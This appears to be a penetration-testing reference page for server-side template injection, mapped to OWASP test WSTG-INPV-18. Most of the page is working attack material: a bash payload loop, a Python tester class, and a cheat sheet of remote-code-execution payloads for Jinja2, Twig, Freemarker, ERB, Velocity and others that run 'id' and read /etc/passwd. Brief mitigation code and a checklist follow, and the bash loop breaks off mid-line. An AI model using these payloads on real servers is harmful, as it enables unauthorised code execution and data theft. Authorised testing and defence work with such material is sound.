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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
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Basierend auf der SOC-Berufsklassifikation
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| name | wstg-inpv-18 |
| description | Testing for Server-Side Template Injection (SSTI) |
| category | input-validation |
| owasp_id | WSTG-INPV-18 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-18
Testing for Server-Side Template Injection (SSTI)
Server-Side Template Injection occurs when user input is embedded in templates in an unsafe manner. Attackers can inject template directives to execute arbitrary code on the server, read files, or access sensitive data. This affects frameworks like Jinja2, Twig, Freemarker, Velocity, and others.
#!/bin/bash
TARGET="https://target.com/page"
echo "[*] Testing for SSTI..."
# Universal detection payloads
PAYLOADS=(
"{{7*7}}"
"${7*7}"
"<%= 7*7 %>"
"#{7*7}"
"*{7*7}"
"@(7*7)"
"{{7*'7'}}"
"${{7*7}}"
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(echo -n "$payload" | jq -sRr @uri)
response=$(curl -s "$TARGET?name=$encoded")
if echo "$response" | grep -q ;
#!/usr/bin/env python3
"""
Server-Side Template Injection (SSTI) Tester
"""
import requests
import re
class SSTITester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
self.detected_engine = None
# Detection payloads for different template engines
DETECTION_PAYLOADS = {
'Jinja2/Twig': ['{{7*7}}', '{{7*\'7\'}}'],
'Freemarker': ['${7*7}', '#{7*7}'],
'Velocity': ['#set($x=7*7)$x', '$class.inspect("java.lang.Runtime")'],
'Smarty': ['{php}echo 7*7;{/php}', '{7*7}'],
'ERB': ['<%= 7*7 %>', '<%= system("id") %>'],
'Mako': ['${7*7}', '<%import os%>${os.popen("id").read()}'],
'Pebble': ['{{7*7}}', '{% set x=7*7 %}{{x}}'],
'Thymeleaf': ['[[${7*7}]]', '[(${7*7})]'],
}
# RCE payloads by template engine
RCE_PAYLOADS = {
'Jinja2': [
"{{config}}",
"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
"{{''.__class__.__mro__[1].__subclasses__()}}",
"{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}",
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
],
'Twig': [
"{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
"{{['id']|filter('system')}}",
"{{app.request.server.all|join(',')}}",
],
'Freemarker': [
'<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}',
'${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}',
],
'Velocity': [
'#set($x="")##$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")',
],
'ERB': [
'<%= system("id") %>',
'<%= `id` %>',
'<%= IO.popen("id").readlines() %>',
],
'Mako': [
'${self.module.cache.util.os.popen("id").read()}',
'<%import os%>${os.popen("id").read()}',
],
'Thymeleaf': [
'${T(java.lang.Runtime).getRuntime().exec("id")}',
],
}
def detect_template_engine(self, param='name'):
"""Detect which template engine is in use"""
print("\n[*] Detecting template engine...")
for engine, payloads in self.DETECTION_PAYLOADS.items():
for payload in payloads:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for math evaluation (7*7 = 49)
if '49' in response.text and payload not in response.text:
print(f"[+] Detected: {engine}")
print(f" Payload: {payload}")
self.detected_engine = engine.split('/')[0]
self.findings.append({
'type': 'SSTI Detected',
'engine': engine,
'payload': payload,
'severity': 'High'
})
return engine
except Exception as e:
pass
return None
def test_rce(self, param='name'):
"""Test for Remote Code Execution"""
print("\n[*] Testing for RCE...")
if not self.detected_engine:
# Try all payloads if engine not detected
engines_to_test = self.RCE_PAYLOADS.keys()
else:
engines_to_test = [self.detected_engine]
for engine in engines_to_test:
if engine not in self.RCE_PAYLOADS:
continue
for payload in self.RCE_PAYLOADS[engine]:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for command execution indicators
if 'uid=' in response.text or 'root:' in response.text:
print(f"[VULN] RCE achieved with {engine}!")
print(f" Payload: {payload[:60]}...")
self.findings.append({
'type': 'SSTI RCE',
'engine': engine,
'payload': payload,
'severity': 'Critical'
})
return True
# Check for config/object disclosure
if 'SECRET_KEY' in response.text or 'config' in response.text.lower():
print(f"[VULN] Config disclosure with {engine}!")
self.findings.append({
'type': 'SSTI Config Disclosure',
'engine': engine,
'payload': payload,
'severity': 'High'
})
except Exception as e:
pass
return False
def test_blind_ssti(self, param='name'):
"""Test for blind SSTI via time-based"""
print("\n[*] Testing blind SSTI...")
import time
blind_payloads = [
# Jinja2
"{{request.application.__globals__.__builtins__.__import__('time').sleep(5)}}",
# ERB
"<%= sleep(5) %>",
# Freemarker
"${Thread.sleep(5000)}",
]
for payload in blind_payloads:
try:
start = time.time()
self.session.get(
self.url,
params={param: payload},
timeout=15
)
elapsed = time.time() - start
if elapsed > 4:
print(f"[VULN] Blind SSTI detected!")
print(f" Response time: {elapsed:.2f}s")
self.findings.append({
'type': 'Blind SSTI',
'payload': payload,
'response_time': elapsed,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSTI VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo SSTI vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'engine' in f:
print(f" Engine: {f['engine']}")
if 'payload' in f:
print(f" Payload: {f['payload'][:60]}...")
def run_tests(self, param='name'):
"""Run all SSTI tests"""
self.detect_template_engine(param)
self.test_rce(param)
self.test_blind_ssti(param)
self.generate_report()
# Usage
tester = SSTITester("https://target.com/page")
tester.run_tests()
# Jinja2 (Python)
{{config}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{["id"]|map("system")|join}}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation()}
# ERB (Ruby)
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>
# Velocity (Java)
#set($runtime=RuntimeClass().getRuntime())$runtime.exec('id')
# Pebble (Java)
{%set cmd='id'%}{{variable.getClass().forName('java.lang.Runtime').getRuntime().exec(cmd)}}
| Tool | Purpose |
|---|---|
| tplmap | Automated SSTI exploitation |
| Burp Suite | Manual testing |
| SSTImap | SSTI scanner |
# Jinja2 - Use sandboxed environment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Better: Never allow user-controlled templates
# Only allow user data as variables
template = env.get_template('fixed_template.html')
output = template.render(user_data=safe_data)
// Freemarker - Disable dangerous classes
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
| Finding | CVSS | Severity |
|---|---|---|
| SSTI with RCE | 9.8 | Critical |
| SSTI config disclosure | 7.5 | High |
| SSTI file read | 7.5 | High |
| CWE ID | Title |
|---|---|
| CWE-1336 | Improper Neutralization of Special Elements Used in a Template Engine |
[ ] Template engine detected
[ ] RCE payloads tested
[ ] Blind SSTI tested
[ ] Config disclosure tested
[ ] Sandbox escape tested
[ ] Findings documented